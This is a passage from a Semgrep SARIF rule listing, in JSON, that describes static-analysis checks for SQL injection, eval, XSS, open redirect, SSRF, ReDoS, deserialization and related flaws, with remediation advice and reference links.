Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.aws-lambda.security.tainted-sql-string.tainted-sql-string"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure not to dynamically create SQL queries from user-influenced inputs. If you cannot avoid this, either escape the data properly or create an allowlist to check the value."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure not to dynamically create SQL queries from user-influenced inputs. If you cannot avoid this, either escape the data properly or create an allowlist to check the value.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.db.aiosqlite-flask.aiosqlite-flask)\n - [https://aiosqlite.omnilib.dev/en/stable/api.html](https://aiosqlite.omnilib.dev/en/stable/api.html)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Make sure not to dynamically create SQL queries from user-influenced inputs. If you cannot avoid this, either escape the data properly or create an allowlist to check the value."},"helpUri":"https://semgrep.dev/r/python.flask.db.aiosqlite-flask.aiosqlite-flask","id":"python.flask.db.aiosqlite-flask.aiosqlite-flask","name":"python.flask.db.aiosqlite-flask.aiosqlite-flask","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.db.aiosqlite-flask.aiosqlite-flask"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources."},"help":{"markdown":"Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.eval-detected.eval-detected)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Detected the use of eval(). eval() can be dangerous if used to evaluate dynamic content. If this content can be input from outside the program, this may be a code injection vulnerability. Ensure evaluated content is not definable by external sources."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.eval-detected.eval-detected","id":"python.lang.security.audit.eval-detected.eval-detected","name":"python.lang.security.audit.eval-detected.eval-detected","properties":{"precision":"very-high","tags":["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.eval-detected.eval-detected"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected an unsecured transmission channel. 'URLopener.open(...)' is being used with 'http://'. Use 'https://' instead to secure the channel."},"help":{"markdown":"Detected an unsecured transmission channel. 'URLopener.open(...)' is being used with 'http://'. Use 'https://' instead to secure the channel.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.lang.security.audit.insecure-transport.urllib.insecure-urlopener-open.insecure-urlopener-open)\n - [https://docs.python.org/3/library/urllib.request.html#urllib.request.URLopener.open](https://docs.python.org/3/library/urllib.request.html#urllib.request.URLopener.open)\n","text":"Detected an unsecured transmission channel. 'URLopener.open(...)' is being used with 'http://'. Use 'https://' instead to secure the channel."},"helpUri":"https://semgrep.dev/r/python.lang.security.audit.insecure-transport.urllib.insecure-urlopener-open.insecure-urlopener-open","id":"python.lang.security.audit.insecure-transport.urllib.insecure-urlopener-open.insecure-urlopener-open","name":"python.lang.security.audit.insecure-transport.urllib.insecure-urlopener-open.insecure-urlopener-open","properties":{"precision":"very-high","tags":["CWE-319: Cleartext Transmission of Sensitive Information","LOW CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: python.lang.security.audit.insecure-transport.urllib.insecure-urlopener-open.insecure-urlopener-open"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Use generator expressions syntax provided by Pony ORM to build SQL queries instead to avoid SQL injection."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Use generator expressions syntax provided by Pony ORM to build SQL queries instead to avoid SQL injection.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.db.ponyorm-fastapi.ponyorm-fastapi)\n - [https://docs.ponyorm.org/queries.html](https://docs.ponyorm.org/queries.html)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Use generator expressions syntax provided by Pony ORM to build SQL queries instead to avoid SQL injection."},"helpUri":"https://semgrep.dev/r/python.fastapi.db.ponyorm-fastapi.ponyorm-fastapi","id":"python.fastapi.db.ponyorm-fastapi.ponyorm-fastapi","name":"python.fastapi.db.ponyorm-fastapi.ponyorm-fastapi","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.db.ponyorm-fastapi.ponyorm-fastapi"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Found data from an Express or Next web request flowing to `eval`. If this data is user-controllable this can lead to execution of arbitrary system commands in the context of your application process. Avoid `eval` whenever possible."},"help":{"markdown":"Found data from an Express or Next web request flowing to `eval`. If this data is user-controllable this can lead to execution of arbitrary system commands in the context of your application process. Avoid `eval` whenever possible.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.lang.security.audit.code-string-concat.code-string-concat)\n - [https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/eval)\n - [https://nodejs.org/api/child_process.html#child_processexeccommand-options-callback](https://nodejs.org/api/child_process.html#child_processexeccommand-options-callback)\n - [https://www.stackhawk.com/blog/nodejs-command-injection-examples-and-prevention/](https://www.stackhawk.com/blog/nodejs-command-injection-examples-and-prevention/)\n - [https://ckarande.gitbooks.io/owasp-nodegoat-tutorial/content/tutorial/a1_-_server_side_js_injection.html](https://ckarande.gitbooks.io/owasp-nodegoat-tutorial/content/tutorial/a1_-_server_side_js_injection.html)\n","text":"Found data from an Express or Next web request flowing to `eval`. If this data is user-controllable this can lead to execution of arbitrary system commands in the context of your application process. Avoid `eval` whenever possible."},"helpUri":"https://semgrep.dev/r/javascript.lang.security.audit.code-string-concat.code-string-concat","id":"javascript.lang.security.audit.code-string-concat.code-string-concat","name":"javascript.lang.security.audit.code-string-concat.code-string-concat","properties":{"precision":"very-high","tags":["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')","HIGH CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.lang.security.audit.code-string-concat.code-string-concat"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Webviews were observed that explicitly opt ouf of the WKWebView fraudulent site warnings. Consider enabling such functionality, to better protect your users from fraud/malware."},"help":{"markdown":"Webviews were observed that explicitly opt ouf of the WKWebView fraudulent site warnings. Consider enabling such functionality, to better protect your users from fraud/malware.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/swift.webview.webview-fraudulent.swift-webview-config-fraudulent-site-warning)\n - [https://mas.owasp.org/MASVS/controls/MASVS-PLATFORM-2/](https://mas.owasp.org/MASVS/controls/MASVS-PLATFORM-2/)\n","text":"Webviews were observed that explicitly opt ouf of the WKWebView fraudulent site warnings. Consider enabling such functionality, to better protect your users from fraud/malware."},"helpUri":"https://semgrep.dev/r/swift.webview.webview-fraudulent.swift-webview-config-fraudulent-site-warning","id":"swift.webview.webview-fraudulent.swift-webview-config-fraudulent-site-warning","name":"swift.webview.webview-fraudulent.swift-webview-config-fraudulent-site-warning","properties":{"precision":"very-high","tags":["CWE-272: Least Privilege Violation","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: swift.webview.webview-fraudulent.swift-webview-config-fraudulent-site-warning"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The use of $sce.trustAsCss can be dangerous if unsanitized user input flows through this API."},"help":{"markdown":"The use of $sce.trustAsCss can be dangerous if unsanitized user input flows through this API.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.angular.security.detect-angular-trust-as-css.detect-angular-trust-as-css-method)\n - [https://docs.angularjs.org/api/ng/service/$sce#trustAsCss](https://docs.angularjs.org/api/ng/service/$sce#trustAsCss)\n - [https://owasp.org/www-chapter-london/assets/slides/OWASPLondon20170727_AngularJS.pdf](https://owasp.org/www-chapter-london/assets/slides/OWASPLondon20170727_AngularJS.pdf)\n","text":"The use of $sce.trustAsCss can be dangerous if unsanitized user input flows through this API."},"helpUri":"https://semgrep.dev/r/javascript.angular.security.detect-angular-trust-as-css.detect-angular-trust-as-css-method","id":"javascript.angular.security.detect-angular-trust-as-css.detect-angular-trust-as-css-method","name":"javascript.angular.security.detect-angular-trust-as-css.detect-angular-trust-as-css-method","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.angular.security.detect-angular-trust-as-css.detect-angular-trust-as-css-method"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The application builds a URL using user-controlled input which can lead to an open redirect vulnerability. An attacker can manipulate the URL and redirect users to an arbitrary domain. Open redirect vulnerabilities can lead to issues such as Cross-site scripting (XSS) or redirecting to a malicious domain for activities such as phishing to capture users' credentials. To prevent this vulnerability perform strict input validation of the domain against an allowlist of approved domains. Notify a user in your application that they are leaving the website. Display a domain where they are redirected to the user. A user can then either accept or deny the redirect to an untrusted site."},"help":{"markdown":"The application builds a URL using user-controlled input which can lead to an open redirect vulnerability. An attacker can manipulate the URL and redirect users to an arbitrary domain. Open redirect vulnerabilities can lead to issues such as Cross-site scripting (XSS) or redirecting to a malicious domain for activities such as phishing to capture users' credentials. To prevent this vulnerability perform strict input validation of the domain against an allowlist of approved domains. Notify a user in your application that they are leaving the website. Display a domain where they are redirected to the user. A user can then either accept or deny the redirect to an untrusted site.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/java.micronaut.redirect.open-redirect.open-redirect)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n","text":"The application builds a URL using user-controlled input which can lead to an open redirect vulnerability. An attacker can manipulate the URL and redirect users to an arbitrary domain. Open redirect vulnerabilities can lead to issues such as Cross-site scripting (XSS) or redirecting to a malicious domain for activities such as phishing to capture users' credentials. To prevent this vulnerability perform strict input validation of the domain against an allowlist of approved domains. Notify a user in your application that they are leaving the website. Display a domain where they are redirected to the user. A user can then either accept or deny the redirect to an untrusted site."},"helpUri":"https://semgrep.dev/r/java.micronaut.redirect.open-redirect.open-redirect","id":"java.micronaut.redirect.open-redirect.open-redirect","name":"java.micronaut.redirect.open-redirect.open-redirect","properties":{"precision":"very-high","tags":["CWE-601: URL Redirection to Untrusted Site ('Open Redirect')","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: java.micronaut.redirect.open-redirect.open-redirect"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"The application is using variables or data stores that are defined or modified by untrusted input. To prevent this vulnerability perform strict input validation of the data against an allowlist of approved options."},"help":{"markdown":"The application is using variables or data stores that are defined or modified by untrusted input. To prevent this vulnerability perform strict input validation of the data against an allowlist of approved options.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.os.tainted-environ-variable-fastapi.tainted-environ-variable-fastapi)\n - [https://docs.python.org/3/library/os.html#os.environ](https://docs.python.org/3/library/os.html#os.environ)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"The application is using variables or data stores that are defined or modified by untrusted input. To prevent this vulnerability perform strict input validation of the data against an allowlist of approved options."},"helpUri":"https://semgrep.dev/r/python.fastapi.os.tainted-environ-variable-fastapi.tainted-environ-variable-fastapi","id":"python.fastapi.os.tainted-environ-variable-fastapi.tainted-environ-variable-fastapi","name":"python.fastapi.os.tainted-environ-variable-fastapi.tainted-environ-variable-fastapi","properties":{"precision":"very-high","tags":["CWE-454: External Initialization of Trusted Variables or Data Stores","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.os.tainted-environ-variable-fastapi.tainted-environ-variable-fastapi"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Passing a formatted string as first parameter to `format_html` disables the proper encoding of variables. Any HTML in the first parameter is not encoded. Using a formatted string as first parameter obscures which parameters are encoded. Correct use of `format_html` is passing a static format string as first parameter, and the variables to substitute as subsequent parameters."},"help":{"markdown":"Passing a formatted string as first parameter to `format_html` disables the proper encoding of variables. Any HTML in the first parameter is not encoded. Using a formatted string as first parameter obscures which parameters are encoded. Correct use of `format_html` is passing a static format string as first parameter, and the variables to substitute as subsequent parameters.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.audit.xss.formathtml-fstring-parameter.formathtml-fstring-parameter)\n - [https://docs.djangoproject.com/en/3.2/ref/utils/#django.utils.html.format_html](https://docs.djangoproject.com/en/3.2/ref/utils/#django.utils.html.format_html)\n","text":"Passing a formatted string as first parameter to `format_html` disables the proper encoding of variables. Any HTML in the first parameter is not encoded. Using a formatted string as first parameter obscures which parameters are encoded. Correct use of `format_html` is passing a static format string as first parameter, and the variables to substitute as subsequent parameters."},"helpUri":"https://semgrep.dev/r/python.django.security.audit.xss.formathtml-fstring-parameter.formathtml-fstring-parameter","id":"python.django.security.audit.xss.formathtml-fstring-parameter.formathtml-fstring-parameter","name":"python.django.security.audit.xss.formathtml-fstring-parameter.formathtml-fstring-parameter","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.audit.xss.formathtml-fstring-parameter.formathtml-fstring-parameter"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"File creation in shared tmp directory without using ioutil.Tempfile"},"help":{"markdown":"File creation in shared tmp directory without using ioutil.Tempfile\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.lang.security.bad_tmp.bad-tmp-file-creation)\n - [https://owasp.org/Top10/A01_2021-Broken_Access_Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control)\n","text":"File creation in shared tmp directory without using ioutil.Tempfile"},"helpUri":"https://semgrep.dev/r/go.lang.security.bad_tmp.bad-tmp-file-creation","id":"go.lang.security.bad_tmp.bad-tmp-file-creation","name":"go.lang.security.bad_tmp.bad-tmp-file-creation","properties":{"precision":"very-high","tags":["CWE-377: Insecure Temporary File","LOW CONFIDENCE","OWASP-A01:2021 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: go.lang.security.bad_tmp.bad-tmp-file-creation"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The use of $sce.trustAsHtml can be dangerous if unsanitized user input flows through this API."},"help":{"markdown":"The use of $sce.trustAsHtml can be dangerous if unsanitized user input flows through this API.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.angular.security.detect-angular-trust-as-html-method.detect-angular-trust-as-html-method)\n - [https://docs.angularjs.org/api/ng/service/$sce#trustAsHtml](https://docs.angularjs.org/api/ng/service/$sce#trustAsHtml)\n - [https://owasp.org/www-chapter-london/assets/slides/OWASPLondon20170727_AngularJS.pdf](https://owasp.org/www-chapter-london/assets/slides/OWASPLondon20170727_AngularJS.pdf)\n","text":"The use of $sce.trustAsHtml can be dangerous if unsanitized user input flows through this API."},"helpUri":"https://semgrep.dev/r/javascript.angular.security.detect-angular-trust-as-html-method.detect-angular-trust-as-html-method","id":"javascript.angular.security.detect-angular-trust-as-html-method.detect-angular-trust-as-html-method","name":"javascript.angular.security.detect-angular-trust-as-html-method.detect-angular-trust-as-html-method","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.angular.security.detect-angular-trust-as-html-method.detect-angular-trust-as-html-method"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"The regular expression identified appears vulnerable to Regular Expression Denial of Service (ReDoS) through catastrophic backtracking. If the input is attacker controllable, this vulnerability can lead to systems being non-responsive or may crash due to ReDoS. Where possible, re-write the regex so as not to leverage backtracking or use a library that offers default protection against ReDoS."},"help":{"markdown":"The regular expression identified appears vulnerable to Regular Expression Denial of Service (ReDoS) through catastrophic backtracking. If the input is attacker controllable, this vulnerability can lead to systems being non-responsive or may crash due to ReDoS. Where possible, re-write the regex so as not to leverage backtracking or use a library that offers default protection against ReDoS.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.regex.tainted-regex-stdlib-django.tainted-regex-stdlib-django)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Input_Validation_Cheat_Sheet.html)\n - [https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)\n - [https://www.regular-expressions.info/catastrophic.html](https://www.regular-expressions.info/catastrophic.html)\n","text":"The regular expression identified appears vulnerable to Regular Expression Denial of Service (ReDoS) through catastrophic backtracking. If the input is attacker controllable, this vulnerability can lead to systems being non-responsive or may crash due to ReDoS. Where possible, re-write the regex so as not to leverage backtracking or use a library that offers default protection against ReDoS."},"helpUri":"https://semgrep.dev/r/python.django.regex.tainted-regex-stdlib-django.tainted-regex-stdlib-django","id":"python.django.regex.tainted-regex-stdlib-django.tainted-regex-stdlib-django","name":"python.django.regex.tainted-regex-stdlib-django.tainted-regex-stdlib-django","properties":{"precision":"very-high","tags":["CWE-1333: Inefficient Regular Expression Complexity","HIGH CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.regex.tainted-regex-stdlib-django.tainted-regex-stdlib-django"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"No slippage check in a Uniswap v2/v3 trade"},"help":{"markdown":"No slippage check in a Uniswap v2/v3 trade\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/solidity.security.no-slippage-check.no-slippage-check)\n - [https://uniswapv3book.com/docs/milestone_3/slippage-protection/](https://uniswapv3book.com/docs/milestone_3/slippage-protection/)\n","text":"No slippage check in a Uniswap v2/v3 trade"},"helpUri":"https://semgrep.dev/r/solidity.security.no-slippage-check.no-slippage-check","id":"solidity.security.no-slippage-check.no-slippage-check","name":"solidity.security.no-slippage-check.no-slippage-check","properties":{"precision":"very-high","tags":["CWE-682: Incorrect Calculation","MEDIUM CONFIDENCE","security"]},"shortDescription":{"text":"Semgrep Finding: solidity.security.no-slippage-check.no-slippage-check"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Deserialization of a string tainted by `event` object found. Objects in Ruby can be serialized into strings, then later loaded from strings. However, uses of `load` can cause remote code execution. Loading user input with MARSHAL, YAML or CSV can potentially be dangerous. If you need to deserialize untrusted data, you should use JSON as it is only capable of returning 'primitive' types such as strings, arrays, hashes, numbers and nil."},"help":{"markdown":"Deserialization of a string tainted by `event` object found. Objects in Ruby can be serialized into strings, then later loaded from strings. However, uses of `load` can cause remote code execution. Loading user input with MARSHAL, YAML or CSV can potentially be dangerous. If you need to deserialize untrusted data, you should use JSON as it is only capable of returning 'primitive' types such as strings, arrays, hashes, numbers and nil.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.aws-lambda.security.tainted-deserialization.tainted-deserialization)\n - [https://ruby-doc.org/core-3.1.2/doc/security_rdoc.html](https://ruby-doc.org/core-3.1.2/doc/security_rdoc.html)\n - [https://groups.google.com/g/rubyonrails-security/c/61bkgvnSGTQ/m/nehwjA8tQ8EJ](https://groups.google.com/g/rubyonrails-security/c/61bkgvnSGTQ/m/nehwjA8tQ8EJ)\n - [https://github.com/presidentbeef/brakeman/blob/main/lib/brakeman/checks/check_deserialize.rb](https://github.com/presidentbeef/brakeman/blob/main/lib/brakeman/checks/check_deserialize.rb)\n","text":"Deserialization of a string tainted by `event` object found. Objects in Ruby can be serialized into strings, then later loaded from strings. However, uses of `load` can cause remote code execution. Loading user input with MARSHAL, YAML or CSV can potentially be dangerous. If you need to deserialize untrusted data, you should use JSON as it is only capable of returning 'primitive' types such as strings, arrays, hashes, numbers and nil."},"helpUri":"https://semgrep.dev/r/ruby.aws-lambda.security.tainted-deserialization.tainted-deserialization","id":"ruby.aws-lambda.security.tainted-deserialization.tainted-deserialization","name":"ruby.aws-lambda.security.tainted-deserialization.tainted-deserialization","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","MEDIUM CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.aws-lambda.security.tainted-deserialization.tainted-deserialization"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected SQL statement that is tainted by `$EVENT` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use prepared statements with the 'Prepare' and 'PrepareContext' calls."},"help":{"markdown":"Detected SQL statement that is tainted by `$EVENT` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use prepared statements with the 'Prepare' and 'PrepareContext' calls.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/go.aws-lambda.security.database-sqli.database-sqli)\n - [https://pkg.go.dev/database/sql#DB.Query](https://pkg.go.dev/database/sql#DB.Query)\n","text":"Detected SQL statement that is tainted by `$EVENT` object. This could lead to SQL injection if the variable is user-controlled and not properly sanitized. In order to prevent SQL injection, use parameterized queries or prepared statements instead. You can use prepared statements with the 'Prepare' and 'PrepareContext' calls."},"helpUri":"https://semgrep.dev/r/go.aws-lambda.security.database-sqli.database-sqli","id":"go.aws-lambda.security.database-sqli.database-sqli","name":"go.aws-lambda.security.database-sqli.database-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: go.aws-lambda.security.database-sqli.database-sqli"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Using non-constant TwiML (Twilio Markup Language) argument when creating a Twilio conversation could allow the injection of additional TwiML commands"},"help":{"markdown":"Using non-constant TwiML (Twilio Markup Language) argument when creating a Twilio conversation could allow the injection of additional TwiML commands\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.twilio.security.twiml-injection.twiml-injection)\n - [https://codeberg.org/fennix/funjection](https://codeberg.org/fennix/funjection)\n","text":"Using non-constant TwiML (Twilio Markup Language) argument when creating a Twilio conversation could allow the injection of additional TwiML commands"},"helpUri":"https://semgrep.dev/r/python.twilio.security.twiml-injection.twiml-injection","id":"python.twilio.security.twiml-injection.twiml-injection","name":"python.twilio.security.twiml-injection.twiml-injection","properties":{"precision":"very-high","tags":["CWE-91: XML Injection","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.twilio.security.twiml-injection.twiml-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"If unverified user data can reach the `wkhtmltoimage` it can result in Server-Side Request Forgery vulnerabilities"},"help":{"markdown":"If unverified user data can reach the `wkhtmltoimage` it can result in Server-Side Request Forgery vulnerabilities\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.wkhtmltoimage.security.audit.wkhtmltoimage-injection.wkhtmltoimage-injection)\n - [https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29](https://owasp.org/Top10/A10_2021-Server-Side_Request_Forgery_%28SSRF%29)\n","text":"If unverified user data can reach the `wkhtmltoimage` it can result in Server-Side Request Forgery vulnerabilities"},"helpUri":"https://semgrep.dev/r/javascript.wkhtmltoimage.security.audit.wkhtmltoimage-injection.wkhtmltoimage-injection","id":"javascript.wkhtmltoimage.security.audit.wkhtmltoimage-injection.wkhtmltoimage-injection","name":"javascript.wkhtmltoimage.security.audit.wkhtmltoimage-injection.wkhtmltoimage-injection","properties":{"precision":"very-high","tags":["CWE-918: Server-Side Request Forgery (SSRF)","LOW CONFIDENCE","OWASP-A10:2021 - Server-Side Request Forgery (SSRF)","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.wkhtmltoimage.security.audit.wkhtmltoimage-injection.wkhtmltoimage-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected a tainted SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Avoid using using user input for generating SQL strings."},"help":{"markdown":"Detected a tainted SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Avoid using using user input for generating SQL strings.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/scala.play.security.tainted-slick-sqli.tainted-slick-sqli)\n - [https://scala-slick.org/doc/3.3.3/sql.html#splicing-literal-values](https://scala-slick.org/doc/3.3.3/sql.html#splicing-literal-values)\n - [https://scala-slick.org/doc/3.2.0/sql-to-slick.html#non-optimal-sql-code](https://scala-slick.org/doc/3.2.0/sql-to-slick.html#non-optimal-sql-code)\n","text":"Detected a tainted SQL statement. This could lead to SQL injection if variables in the SQL statement are not properly sanitized. Avoid using using user input for generating SQL strings."},"helpUri":"https://semgrep.dev/r/scala.play.security.tainted-slick-sqli.tainted-slick-sqli","id":"scala.play.security.tainted-slick-sqli.tainted-slick-sqli","name":"scala.play.security.tainted-slick-sqli.tainted-slick-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: scala.play.security.tainted-slick-sqli.tainted-slick-sqli"}},{"defaultConfiguration":{"level":"note"},"fullDescription":{"text":"Translated strings will not be escaped when rendered in a template. This leads to a vulnerability where translators could include malicious script tags in their translations. Consider using `force_escape` to explicitly escape a translated text."},"help":{"markdown":"Translated strings will not be escaped when rendered in a template. This leads to a vulnerability where translators could include malicious script tags in their translations. Consider using `force_escape` to explicitly escape a translated text.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.audit.xss.template-translate-as-no-escape.template-translate-as-no-escape)\n - [https://edx.readthedocs.io/projects/edx-developer-guide/en/latest/preventing_xss/preventing_xss_in_django_templates.html#html-escaping-translations-in-django-templates](https://edx.readthedocs.io/projects/edx-developer-guide/en/latest/preventing_xss/preventing_xss_in_django_templates.html#html-escaping-translations-in-django-templates)\n - [https://docs.djangoproject.com/en/3.1/topics/i18n/translation/#internationalization-in-template-code](https://docs.djangoproject.com/en/3.1/topics/i18n/translation/#internationalization-in-template-code)\n","text":"Translated strings will not be escaped when rendered in a template. This leads to a vulnerability where translators could include malicious script tags in their translations. Consider using `force_escape` to explicitly escape a translated text."},"helpUri":"https://semgrep.dev/r/python.django.security.audit.xss.template-translate-as-no-escape.template-translate-as-no-escape","id":"python.django.security.audit.xss.template-translate-as-no-escape.template-translate-as-no-escape","name":"python.django.security.audit.xss.template-translate-as-no-escape.template-translate-as-no-escape","properties":{"precision":"very-high","tags":["CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","OWASP-A07:2017 - Cross-Site Scripting (XSS)","security"]},"shortDescription":{"text":"Semgrep Finding: 